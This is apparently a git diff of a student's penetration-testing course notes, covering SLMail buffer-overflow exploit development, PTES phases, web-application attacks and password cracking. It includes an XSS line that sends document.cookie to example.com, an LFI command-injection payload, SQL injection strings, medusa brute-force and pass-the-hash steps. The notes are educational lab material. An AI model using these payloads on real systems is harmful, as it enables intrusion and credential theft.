- It helps discover vulnerabilities by sending varying lengths of data to identify buffer overflow conditions. - It helps discover vulnerabilities by sending varying lengths of data to identify buffer overflow conditions.
- Fuzzing tools and resources: FuzzDB (https://github.com/fuzzdb-project/fuzzdb). - Fuzzing tools and resources: FuzzDB (<https://github.com/fuzzdb-project/fuzzdb>).
3. **Fuzzing Example: SLMail 5.5.0 Mail Server** 3. **Fuzzing Example: SLMail 5.5.0 Mail Server**
- Installed the vulnerable SLMail application. - Installed the vulnerable SLMail application.

View File

@@ -9,7 +9,7 @@
- Start SLmail on Windows 7 VM. - Start SLmail on Windows 7 VM.
- Run Immunity Debugger as an administrator. To make the font more legible, right-click on the black area > appearance > font > OEM. - Run Immunity Debugger as an administrator. To make the font more legible, right-click on the black area > appearance > font > OEM.
4. **Attach SLmail to ID:** 4. **Attach SLmail to ID:**
- In Immunity Debugger, go to `File > Attach...`, select the SLmail process, and click 'Open'. - In Immunity Debugger, go to `File > Attach`, select the SLmail process, and click 'Open'.
- Set the debugger to "Running" state by clicking on the "Running" button in the toolbar. - Set the debugger to "Running" state by clicking on the "Running" button in the toolbar.
5. **Run the fuzzer:** 5. **Run the fuzzer:**
- Open a terminal on Parrot OS and navigate to the scripts directory. - Open a terminal on Parrot OS and navigate to the scripts directory.
@@ -41,7 +41,7 @@
- Use `!mona find -s "\xff\xe4" -m slmfc.dll` to search for the FF E4 opcode in slmfc.dll and choose an address (e.g., `0x5f4a358f`) as the new EIP. - Use `!mona find -s "\xff\xe4" -m slmfc.dll` to search for the FF E4 opcode in slmfc.dll and choose an address (e.g., `0x5f4a358f`) as the new EIP.
14. **Prepare exploit script:** 14. **Prepare exploit script:**
- Replace `Bs` in the exploit script (e.g., `exploit.rb`) with the address chosen earlier. - Replace `Bs` in the exploit script (e.g., `exploit.rb`) with the address chosen earlier.
- Add a NOP sled (e.g., `\x90` _16_) before the JMP ESP address to account for any slight miscalculations or fluctuations in memory layout. - Add a NOP sled (e.g., `\x90` *16*) before the JMP ESP address to account for any slight miscalculations or fluctuations in memory layout.
- The exploit script should look something like this: `"\x90" * 16 + "\xff\x\xe4" + "\xbe\xxx\xxxx\xxx\xxx"`. Replace `Bs` with the chosen address. - The exploit script should look something like this: `"\x90" * 16 + "\xff\x\xe4" + "\xbe\xxx\xxxx\xxx\xxx"`. Replace `Bs` with the chosen address.
15. **Start netcat listener:** 15. **Start netcat listener:**
- On Parrot OS, run `nc -lvp 443` to start a netcat listener on port 443. - On Parrot OS, run `nc -lvp 443` to start a netcat listener on port 443.

View File

@@ -6,14 +6,15 @@ Stack = LIFO structure where CPU registers are stored at and retrieved from
Can inject malicious code using buffer overflow Can inject malicious code using buffer overflow
# Fuzzing # Fuzzing
- Sending malformed data into application input and watching for unexpected crashes. Unexpected crash indicated application might not filter certain input correctly.
- Sending malformed data into application input and watching for unexpected crashes. Unexpected crash indicated application might not filter certain input correctly.
- To develop an exploit for application X on OS Y, - To develop an exploit for application X on OS Y,
- X, Y and debugger needed on same VM - X, Y and debugger needed on same VM
- Another VM to fuzz the target VM - Another VM to fuzz the target VM
- Cant do remotely on running server (though if developed correctly, exploit should work on any instance of application X running on OS Y) - Cant do remotely on running server (though if developed correctly, exploit should work on any instance of application X running on OS Y)
## SLMail ## SLMail
Using a python script, we can repeatedly connect to the POP3 server, attempting to send varying length growing buffer to the password field each time Using a python script, we can repeatedly connect to the POP3 server, attempting to send varying length growing buffer to the password field each time
Unauthenticated user can attempt to login providing a long password. Unauthenticated user can attempt to login providing a long password.
@@ -23,20 +24,18 @@ The EIP register has been overwritten with opur input buffer of A's (\\x41)
As EIP register controls execution flow of application, if we make our exploit buffer carefully, could divert execution of the program to a place in memory where reverse shell code can be introduced in memory. As EIP register controls execution flow of application, if we make our exploit buffer carefully, could divert execution of the program to a place in memory where reverse shell code can be introduced in memory.
## Controlling EIP ## Controlling EIP
- Getting control of the EIP register is an important part of exploit development - Getting control of the EIP register is an important part of exploit development
- Need to find out which A characters ended up in the EIP and identify the location of 4 unique bytes that overwrite the EIP Register. - Need to find out which A characters ended up in the EIP and identify the location of 4 unique bytes that overwrite the EIP Register.
- Can send 2900 bytes of unique non-repeating characters. - Can send 2900 bytes of unique non-repeating characters.
- User pattern_create.rb script in Kali to generate such a string: - User pattern_create.rb script in Kali to generate such a string:
- `/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2900` - `/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2900`
- Using this unique stream of characters, instead of our 2900 A's into our python script, check EIP overwrite in debugger. - Using this unique stream of characters, instead of our 2900 A's into our python script, check EIP overwrite in debugger.
- Note ESP and EIP register values in next crash - Note ESP and EIP register values in next crash
- EIP has been replaced by the 39694438 hex characters, equivalent to 8Dj9 - EIP has been replaced by the 39694438 hex characters, equivalent to 8Dj9
- We need to find exact position of these characters. - We need to find exact position of these characters.
- Can now use the pattern_offset.rb script along with the create script to discover the offset of these specific 4 bytes in our unique byte string. - Can now use the pattern_offset.rb script along with the create script to discover the offset of these specific 4 bytes in our unique byte string.
- `/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2900 -q 39694438` - `/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2900 -q 39694438`
- Sending this new buffer to SLMail POP3 server produces a crash in the debugger. - Sending this new buffer to SLMail POP3 server produces a crash in the debugger.
- Check ESP and EIP registers - Check ESP and EIP registers
- This time ESP has different value to first crash - This time ESP has different value to first crash
@@ -44,7 +43,8 @@ As EIP register controls execution flow of application, if we make our exploit b
- How to direct execution flow? - How to direct execution flow?
- Would like to include our own shell code inside buffer and redirect program flow to execute our shell code. - Would like to include our own shell code inside buffer and redirect program flow to execute our shell code.
### Find Space in memory for Shell Code ### Find Space in Memory for Shell Code
- By dumping memory at time of crash, ESP register points directly to beginning of our buffer of C's. Seems like a convenient location to place shellcode as easily accessible through EIP register. - By dumping memory at time of crash, ESP register points directly to beginning of our buffer of C's. Seems like a convenient location to place shellcode as easily accessible through EIP register.
- Metasploit framework can automatically generate shellcode payloads, standard Reverse Shell payload requires around 350-400 bytes of space. - Metasploit framework can automatically generate shellcode payloads, standard Reverse Shell payload requires around 350-400 bytes of space.
- Need to increase length of buffer to make room for reverse shell. - Need to increase length of buffer to make room for reverse shell.
@@ -57,7 +57,6 @@ As EIP register controls execution flow of application, if we make our exploit b
- Depending on application, vuln type, and protocols, there may be certain characters that are considered bad and should not be used in our buffer, return address or shell code. - Depending on application, vuln type, and protocols, there may be certain characters that are considered bad and should not be used in our buffer, return address or shell code.
- Common example is null (0x00). Characters truncate shellcode in memory - Common example is null (0x00). Characters truncate shellcode in memory
- Easy way to check this is sending all possible characters, from 0x00 to 0xff as a part of our buffer and see how these characters are dealt with by the application after the crash occurs. - Easy way to check this is sending all possible characters, from 0x00 to 0xff as a part of our buffer and see how these characters are dealt with by the application after the crash occurs.
- A file containing all the possible hex characters can be found on Blackboard. - A file containing all the possible hex characters can be found on Blackboard.
- When including these in python exploit code, we will see the characters that get truncated in Immunity Debugger - When including these in python exploit code, we will see the characters that get truncated in Immunity Debugger
- One observation is that resulting memory dump for the ESP register shows that the character 0x0A seems to have truncated the rest of the buffer than comes after it. - One observation is that resulting memory dump for the ESP register shows that the character 0x0A seems to have truncated the rest of the buffer than comes after it.

View File

@@ -81,16 +81,19 @@ Malicious script sent to user
- Recommendations for session IDs (OWASP) - Recommendations for session IDs (OWASP)
### Method ### Method
Log in to application Log in to application
Provide service, user stays logged in Provide service, user stays logged in
Email info about session ID Email info about session ID
Other user can access website as first user Other user can access website as first user
### Fixes ### Fixes
- Authentication linked to time - Authentication linked to time
- OWASP recommendations followed - OWASP recommendations followed
- Link session ID to IP address, TLS session, etc. - Link session ID to IP address, TLS session, etc.
Reconnaissance Assignment Reconnaissance Assignment
## [OWASP Top-10](https://owasp.org/Top10/) Web Application Risks (as of 2017): ## [OWASP Top-10](https://owasp.org/Top10/) Web Application Risks (as of 2017):
- Injection, Broken Authentication, Sensitive Data Exposure, XML External Entity (XXE), Security Misconfiguration, Cross-Site Scripting (XSS), Insecure Deserialization, Using Components with Known Vulnerabilities, Insufficient Logging & Monitoring - Injection, Broken Authentication, Sensitive Data Exposure, XML External Entity (XXE), Security Misconfiguration, Cross-Site Scripting (XSS), Insecure Deserialization, Using Components with Known Vulnerabilities, Insufficient Logging & Monitoring

View File

@@ -0,0 +1 @@
![](Pasted%20image%2020250207142220.png)

View File

@@ -0,0 +1,90 @@
**Slide 1: Penetration Testing Process**
- **Phases of Penetration Testing**:
- Pre-engagement (1)
- Agreement on rules of engagement, scope, and objectives.
- Intelligence gathering (2)
- Passive reconnaissance: Information collected without interacting with the target.
- Tools: Search engines, social media, DNSdumpster, etc.
- Active reconnaissance: Information collected by interacting with the target.
- Tools: Nmap, Zenmap, Wireshark, etc.
- Threat modeling (3)
- Identifying potential threats and vulnerabilities in the target system.
- Vulnerability scanning (4)
- Automated testing to identify vulnerabilities in the target system.
- Tools: Nessus, OpenVAS, etc.
- Exploitation (5)
- Using exploits to gain unauthorized access to the target system.
- Tools: Metasploit, Burp Suite, etc.
- Post-exploitation (6)
- Maintaining access to the target system and gathering sensitive information.
- Tools: Mimikatz, BloodHound, etc.
**Slide 2: Public Exploits**
- **Finding reliable exploits**:
- SecLists (<https://seclists.org/>)
- Exploit-DB (<https://www.exploit-db.com/>)
- **Offline exploit DB in Kali**:
- `searchsploit` command
```
searchsploit <keyword>
```
**Slide 3: Compiling Exploits**
- **Cross-compiling for Windows**:
- Use `gcc` with specific flags to compile for Windows.
```
gcc -o exploit.exe exploit.c -m64 -lwininet
```
- **Lab Activity**: Fix and compile `646.c` to exploit SLMail on Windows 7 lab machine.
**Slide 4: Penetration Testing Execution Standard (PTES)**
- **Phases of PTES**:
- Pre-engagement
- Intelligence gathering
- Threat modeling
- Vulnerability scanning
- Exploitation
- Post-exploitation
- Reporting
**Slide 5: Post-Exploitation**
- **Goals of post-exploitation**:
- Determine the value of the compromised machine.
- Maintain control for later use.
- Identify and document sensitive data.
- Set up access methods for later use.
**Slide 6: Infrastructure Analysis**
| Category | Information to gather |
| --- | --- |
| Network information | Configuration, interfaces, routing, DNS servers, ARP entries, proxy servers, listening services, neighbour discovery protocols, wireless keys |
| Pillaging | Startup items, login items, security services, file and print shares, databases, source code management systems, virtualisation, messaging systems, backup systems |
| Documents | Spreadsheets, word documents, databases, password files |
| History | Command history, USB activity, web history, patching history; log files, bookmarks |
| Monitoring | Key logging, screen capture, webcam access, network traffic capture |
**Slide 7: Escalation and Persistence**
- **Privilege escalation techniques**:
- Exploit higher privileged process.
- Inject into higher privileged DLL.
- Overwrite higher privileged executable file.
- Trojan, rootkits, backdoor account/service.
- **Persistence techniques**:
- Reverse shell to single IP.
- Backdoor service that survives reboot.
**Slide 8: Moving Things Around**
- **Uploading/downloading files**:
- Use FTP with Kali acting as an FTP server.
- **Privilege escalation example**:
- `useradd.c` exploit for Windows 7 lab machine.
**Exercise**: Complete the lab activity on privilege escalation using `useradd.c` and verify high privilege access.

View File

@@ -0,0 +1,81 @@
**Slide 1: Web Application Attacks**
- **Web applications** can be written in various languages, each with its specific vulnerability classes.
- Main attack vectors are similar in concept.
- OWASP promotes security awareness and solutions for web application development.
**Slide 2: OWASP Top-10 Security Risks**
| Risk | Description |
| --- | --- |
| A1:2017 - Injection | Attacker can add malicious SQL, NoSQL, or command strings. |
| A2:2017 - Broken Authentication | Compromised credentials, weak defaults, or exposed keys. |
| A3:2017 - Sensitive Data Exposure | Unprotected data at rest or in transit. |
| A4:2017 - XML External Entity (XXE) | Attacker can exploit parsing of XML outside the standard. |
| A5:2017 - Security Misconfiguration | Default configurations, open cloud storage, misconfigured HTTP headers. |
| A6:2017 - Using Components with Known Vulnerabilities | Outdated or vulnerable libraries and frameworks. |
| A7:2017 - Insufficient Logging & Monitoring | Lack of logging and monitoring prevents detection of attacks. |
| A8:2017 - Insecure Deserialization | Vulnerable deserialization can lead to remote code execution. |
| A9:2017 - Using Known Vulnerable Components without Patching | Outdated software with known vulnerabilities. |
| A10:2017 - Insufficient Transport Layer Protection | Weak or no encryption, allowing man-in-the-middle attacks. |
**Slide 3: Cross-Site Scripting (XSS)**
- Unsanitized user input displayed as HTML.
- Allows malicious scripts to run in victim's browser.
- Reflected (non-persistent): injected script runs immediately when the victim clicks the link.
- Stored (persistent): web application delivers payload to the victim, script runs when viewed.
- Impact: cookie stealing, authentication bypass, redirection.
**Slide 4: XSS Example**
- Reflected XSS:
```html
<h1>XSS demo</h1>
<?php echo "Hello ". $_GET['name'];?>
```
- Stored XSS:
```html
<script>alert(1)</script>
```
**Slide 5: Cookie Stealing via XSS**
- JavaScript can make victim's browser send cookies to the attacker.
```javascript
new Image().src="http://example.com/bogus.php?output="+document.cookie;
```
**Slide 6: File Inclusion Vulnerabilities**
- Local File Inclusion (LFI) and Remote File Inclusion (RFI):
- LFI: includes local files.
- RFI: introduces own code to the webserver.
- Exploit depends on PHP versions and web server configurations.
**Slide 7: LFI Demonstration**
- Unsanitized `lang` parameter:
```php
<?php $lang=$_GET['lang']; include $lang.".php";?>
```
- Payload:
```bash
../uploads/avatars/image.jpg%00&cmd=ifconfig
```
**Slide 8: SQL Injection**
- Unsanitized user input passed to a database query.
- Manipulating data can change the nature of the query.
- Examples:
- Bypassing authentication with `' OR '1'='1`
- Extracting data using `' union select * from information_schema.columns --`
**Exercise:**
- Using OWASP Broken Web Applications project, demonstrate obtaining a shell with:
- An LFI vulnerability in the web application with file upload.
- An LFI vulnerability in the web application with contaminated logs.
- An RFI vulnerability in the web application.
- Demonstrate attacks using SQL injection and Cross Site Scripting (XSS).
- Provide documentation and proof of useful attacks in your report.

View File

@@ -0,0 +1,44 @@
**Slide 1: Password Attacks**
- People are not good at remembering passwords, choosing easy ones (e.g., 123456), and reusing them.
- Password entropy increases with length and character variation. Longer passwords and those with mixed characters (upper/lowercase, numbers, special symbols) have more entropy.
- Using password managers and multi-factor authentication is recommended.
**Slide 2: Real-World Password Attacks**
- Most common attacks target weak or default user/system passwords.
- Brute force and dictionary attacks are common. Tools like `medusa` and `ncrack` automate these attacks.
- Online password attacks target networked services like HTTP, SSH, FTP, SNMP, RDP.
- Offline password attacks use captured password files and tools like `john the ripper`.
- Key space brute force generates all possible combinations of characters for a given set and length.
- Social engineering and shoulder-surfing can also be used.
**Slide 3: Online Password Attacks Example**
- Example of an HTTP brute force attack using `medusa` against a protected web directory.
- Command: `medusa -h <target> -u <username> -P /usr/share/wordlists/rockyou.txt -M http -m DIR:/npttest -T 10 -s`
- Lessons: Be suspicious of the first password in a list, and don't put the correct one at the beginning when setting up demos.
**Slide 4: Key Space Brute-Force**
- `crunch` tool generates custom wordlists with defined character sets and password formats.
- Example: `crunch 6 6 0123456789ABCDEF -o test.txt` generates a list of 6-character hexadecimal passwords.
- Password length quickly becomes unmanageable with more characters.
**Slide 5: John the Ripper Offline Cracking Tool**
- `john` supports automatic mode, dictionary mode (using wordlists), and mangling rules.
- Example commands:
- Automatic mode: `john <password-file>`
- Dictionary mode: `john --wordlist=/usr/share/wordlists/rockyou.txt <password-file>`
- Mangling rules: `john --rules --wordlist=/usr/share/wordlists/rockyou.txt <password-file>`
**Slide 6: In-memory Attacks**
- Abusing OS handling of passwords, particularly useful for Windows due to shared identities.
- `pwdump` tool dumps SAM hashes by injecting a DLL into the LSASS process.
**Slide 7: Passing the Hash in Windows**
- Pass-The-Hash (PTH) allows authentication using hashes rather than passwords.
- `exploit/windows/smb/psexec` exploit with a reverse TCP meterpreter payload can be used for PTH.
**Slide 8: Task 3 Password Attack**
- Demonstrate various password attacks using different tools.
- Target at least two protocols (e.g., HTTP, FTP, SSH, RDP).
- Crack provided offline password hashes using wordlists and `crunch`.
- Crack a password-protected Word file, `TradeSecret.docx`, using office2john or zip2john.
- Perform an in-memory attack using PTH to authenticate into the Windows XP system.

View File

@@ -1,5 +1,7 @@
# Requirements # Requirements
Scope Scope
- What will be tested - What will be tested
- Start and End dates - Start and End dates
- Customer Objectives - Customer Objectives
@@ -7,6 +9,7 @@ Scope
- Ensure requirements and expectations of customers being met - Ensure requirements and expectations of customers being met
Rules of Engagement Rules of Engagement
- Detailed stages - Detailed stages
- Who is authorised - Who is authorised
- On or off site - On or off site
@@ -26,7 +29,6 @@ Legal Signoff
- Data aggregation - Data aggregation
- Data exfil - Data exfil
- Immature (NIST T1) would benefit from a vulnerability analysis than a full pentest - Immature (NIST T1) would benefit from a vulnerability analysis than a full pentest
- Identify outsourced services - Identify outsourced services
- In scope? - In scope?
- Permission? - Permission?
@@ -90,7 +92,7 @@ Legal Signoff
# Questions # Questions
## For company ## For Company
- Manage aware? - Manage aware?
- Main datum that would create greatest risk to organisation if exposed, corrupted or deleted? - Main datum that would create greatest risk to organisation if exposed, corrupted or deleted?

View File

@@ -7,6 +7,4 @@
`(inurl:login.cgi OR inurl:login.php OR inurl:login.js) AND site:ac.uk AND password` `(inurl:login.cgi OR inurl:login.php OR inurl:login.js) AND site:ac.uk AND password`
![](Pasted%20image%2020241011140717.png) ![](Pasted%20image%2020241011140717.png)
1. <https://hub.salford.ac.uk/sbs-disruptive-technologies/events/>
1. https://hub.salford.ac.uk/sbs-disruptive-technologies/events/
2.

View File

@@ -1,4 +1,5 @@
# Intelligence Gathering # Intelligence Gathering
- More information gathered, more vectors of attack may be able to use - More information gathered, more vectors of attack may be able to use
- Better knowledge of target, more likely to succeed - Better knowledge of target, more likely to succeed
- Better target company knows what is common knowledge, better it can prepare. - Better target company knows what is common knowledge, better it can prepare.
@@ -21,7 +22,7 @@
# Limits # Limits
- Gathering information to identify entry points - Gathering information to identify entry points
- physical, electronic, human... - physical, electronic, human
- and try to map out internal structure - and try to map out internal structure
- physical, network, organisational - physical, network, organisational
- and external dependencies - and external dependencies
@@ -53,7 +54,7 @@
- Have a deadline - Have a deadline
- Make sure time allocated to use intelligence - Make sure time allocated to use intelligence
# Passive vs Active Reconnaissance # Passive Vs Active Reconnaissance
## Passive ## Passive
@@ -80,12 +81,11 @@
- Passive recon using OSINT sources - Passive recon using OSINT sources
- Include some semi-passive recon - Include some semi-passive recon
- Write report, outlining what has been found and why company should be aware. - Write report, outlining what has been found and why company should be aware.
- Look for: - Look for:
- Corporate - Corporate
- Personal - Personal
- Technical information - Technical information
- http://www.pentest-standard.org/index.php/Intelligence_Gathering - <http://www.pentest-standard.org/index.php/Intelligence_Gathering>
## How to Obtain Information ## How to Obtain Information
@@ -104,4 +104,3 @@
- Some tools rely on network inspection between you and target - Some tools rely on network inspection between you and target
- "Active Packet Sniffing" means specific things cause traffic to flow to you - "Active Packet Sniffing" means specific things cause traffic to flow to you
- "Passive Packet Sniffing" means you inspect the traffic that happens to come past sniffer. - "Passive Packet Sniffing" means you inspect the traffic that happens to come past sniffer.
-

View File

@@ -2,6 +2,7 @@ Identifying vulnerabilities leading to compromise, or mission objectives, identi
Identify attack surface presented to outside actors, bigger surface, bigger risk. Create clear scenarios relevant to organisation. Identify attack surface presented to outside actors, bigger surface, bigger risk. Create clear scenarios relevant to organisation.
Provides clarity to risk appetite and prioritisation. Provides clarity to risk appetite and prioritisation.
- Importance of assets - Importance of assets
- Threat community relevance - Threat community relevance
Emulates tools, techniques, capabilities, accessibility and general profile of attacker Emulates tools, techniques, capabilities, accessibility and general profile of attacker

View File

@@ -14,18 +14,20 @@ Operational Vulnerability is likely the worst
# Quantification of Vulnerabilities # Quantification of Vulnerabilities
CVSS: Common Vulnerability Scoring System CVSS: Common Vulnerability Scoring System
- Uses principle characteristics of a vulnerability to produce a numerical score reflecting severity. Can be translated into qualitative representation (low->critical) to help organisations assess and prioritise vulnerability management processes - Uses principle characteristics of a vulnerability to produce a numerical score reflecting severity. Can be translated into qualitative representation (low->critical) to help organisations assess and prioritise vulnerability management processes
- https://www.first.org/cvss - <https://www.first.org/cvss>
# Attack Patterns # Attack Patterns
CAPEC: Common Attack Pattern Enumeration and Classification CAPEC: Common Attack Pattern Enumeration and Classification
- Catalogue of common attack patterns that helps users understand how adversaries exploit weaknesses in applications and other capabilities. - Catalogue of common attack patterns that helps users understand how adversaries exploit weaknesses in applications and other capabilities.
- https://capac.mitre.org/ - <https://capac.mitre.org/>
# Search for Vulnerabilities # Search for Vulnerabilities
- https://cvedetails.com - <https://cvedetails.com>
# Vulnerability Scanning # Vulnerability Scanning
@@ -34,4 +36,3 @@ CAPEC: Common Attack Pattern Enumeration and Classification
- Can generate alot of traffic, and may result in denial of service on many devices. - Can generate alot of traffic, and may result in denial of service on many devices.
## Nessus ## Nessus

View File

@@ -1,10 +1,12 @@
## Cogent Frankfurt -> remote.salford.ac.uk ## Cogent Frankfurt -> remote.salford.ac.uk
Cogent [AS174](https://bgp.he.net/AS174) Cogent [AS174](https://bgp.he.net/AS174)
Arelion [AS1299](https://bgp.he.net/AS1299) Arelion [AS1299](https://bgp.he.net/AS1299)
JISC (Salford Edge) [AS786](https://bgp.he.net/AS786) JISC (Salford Edge) [AS786](https://bgp.he.net/AS786)
remote.salford.ac.uk (Announced by JISC) [AS786](https://bgp.he.net/AS786) remote.salford.ac.uk (Announced by JISC) [AS786](https://bgp.he.net/AS786)
## Hetzner -> remote.salford.ac.uk ## Hetzner -> remote.salford.ac.uk
Hetzner [AS24940](https://bgp.he.net/AS24940) Hetzner [AS24940](https://bgp.he.net/AS24940)
core-backbone [AS201011](https://bgp.he.net/AS201011) core-backbone [AS201011](https://bgp.he.net/AS201011)
LINX London [AS3491](https://bgp.he.net/AS3491) LINX London [AS3491](https://bgp.he.net/AS3491)

View File

@@ -0,0 +1 @@

Some files were not shown because too many files have changed in this diff Show More